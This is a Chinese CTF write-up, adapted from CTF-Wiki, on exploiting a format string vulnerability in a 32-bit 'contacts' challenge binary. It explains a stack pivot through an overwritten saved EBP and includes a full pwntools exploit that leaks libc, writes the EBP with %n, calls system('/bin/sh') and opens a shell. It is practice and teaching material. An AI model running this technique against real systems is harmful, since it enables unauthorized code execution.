FmtStr In Heap

依旧是从CTFWiKi上抄过来的,自己总结了下

FmtStr In Heap

1
# checksec contacts
2
    Arch:     i386-32-little
3
    RELRO:    Partial RELRO
4
    Stack:    Canary found
5
    NX:       NX enabled
6
    PIE:      No PIE (0x8048000)

查看一番,32位程序,地址随机化未开启,栈保护开启
然后IDA分析,发现四个函数,分别为构造,删除,修改,打印联系人,而在第四个函数里面,打印最后一个值时,含有FmtStr漏洞可利用
在此处,似乎之前FmtStr的利用方法都无法获得/bin/sh权限,修改Got表会因为多处使用printf函数而导致崩溃,之前发布的那个BSS段利用方法,由于每次结束后,会平衡堆栈,所以多次修改的办法也不行


思路

程序中压入栈中的 ebp 值其实保存的是上一个函数的保存 ebp 值的地址,所以我们可以修改其上层函数的保存的 ebp 的值,即上上层函数(即main函数)的 ebp 数值
因此,我们可以尝试利用栈迁移的方法,将我们的System_Addr 和 /bin/sh地址 放在BSS段,然后我们利用栈迁移,在最后leave指令的帮助下,修改EBP的值为对应的地址,从而使程序执行我们的命令,最终执行/bin/sh
1.通过常规的利用方法,泄漏libc版本,确定System_Addr 以及 Binsh_Addr
2.部署我们的利用命令到某地址A上,通常在构造联系人那里
3.修改上层函数保存的EBP值为我们(地址A-4)
当主程序返回时,会有如下操作
move esp,ebp,将 esp 指向 System_Addr 的地址-4
pop ebp, 将 esp 指向 System_Addr
ret,将 eip 指向 System_Addr,从而获取 Shell


EBP偏移量:6
堆的偏移量:11
libc_start_main_ret偏移量:31

利用

EXP

1
from pwn import*
2
from LibcSearcher import*
3
p = process('./contacts')
4
elf = ELF('./contacts')
5
#context.log_level = 'debug'
6
7
def CreateContact(name, phone, descrip_len, description):
8
	p.recvuntil('>>> ')
9
	p.sendline('1')
10
	p.recvuntil('Contact info: \n')
11
	p.recvuntil('Name: ')
12
	p.sendline(name)
13
	p.recvuntil('You have 10 numbers\n')
14
	p.sendline(phone)
15
	p.recvuntil('Length of description: ')
16
	p.sendline(descrip_len)
17
	p.recvuntil('description:\n\t\t')
18
	p.sendline(description)
19
20
def PrintContact():
21
	p.recvuntil('>>> ')
22
	p.sendline('4')
23
	p.recvuntil('Contacts:')
24
	p.recvuntil('Description: ')
25
26
#Get the libc version
27
payload = '%31$pEND'
28
CreateContact('First','12345','20',payload)
29
PrintContact()
30
libc_start_main_ret = int(p.recvuntil('END',drop = True),16)
31
log.success('Libc_start_main_ret Addr:'+hex(libc_start_main_ret))
32
libc = LibcSearcher('__libc_start_main_ret',libc_start_main_ret)
33
libcbase = libc_start_main_ret - libc.dump('__libc_start_main_ret')
34
system_addr = libcbase + libc.dump('system')
35
binsh_addr = libcbase + libc.dump('str_bin_sh')
36
log.success('System_Addr:'+hex(system_addr))
37
log.success('Binsh_Addr:'+hex(binsh_addr))
38
39
#Get the Heap_Addr and EBP_Addr
40
payload = flat([system_addr,'UUUU',binsh_addr,'START%6$pM%11$pEND'])
41
CreateContact('Second','12345','32',payload)
42
PrintContact()
43
p.recvuntil('START')
44
ebp_addr = int(p.recvuntil('M',drop = True),16)
45
heap_addr = int(p.recvuntil('END',drop = True),16)
46
log.success('Heap_Addr:'+hex(heap_addr))
47
log.success('EBP_Addr:'+hex(ebp_addr))
48
49
#Modify the EBP
50
Pone = (heap_addr - 4) / 2
51
Ptwo = heap_addr - 4 - Pone
52
payload = '%' + str(Pone) + 'x%' + str(Ptwo) + 'x%6$n'
53
CreateContact('Third','12345','40',payload)
54
PrintContact()
55
p.sendlineafter('>>> ','5')
56
p.interactive()

文章总体取自CTF-Wiki,总体上来讲,借鉴颇多,收获匪浅!!!
下载:程序 EXP

Contents
  1. 1. FmtStr In Heap
    1. 1.1. 思路
    2. 1.2. 利用
|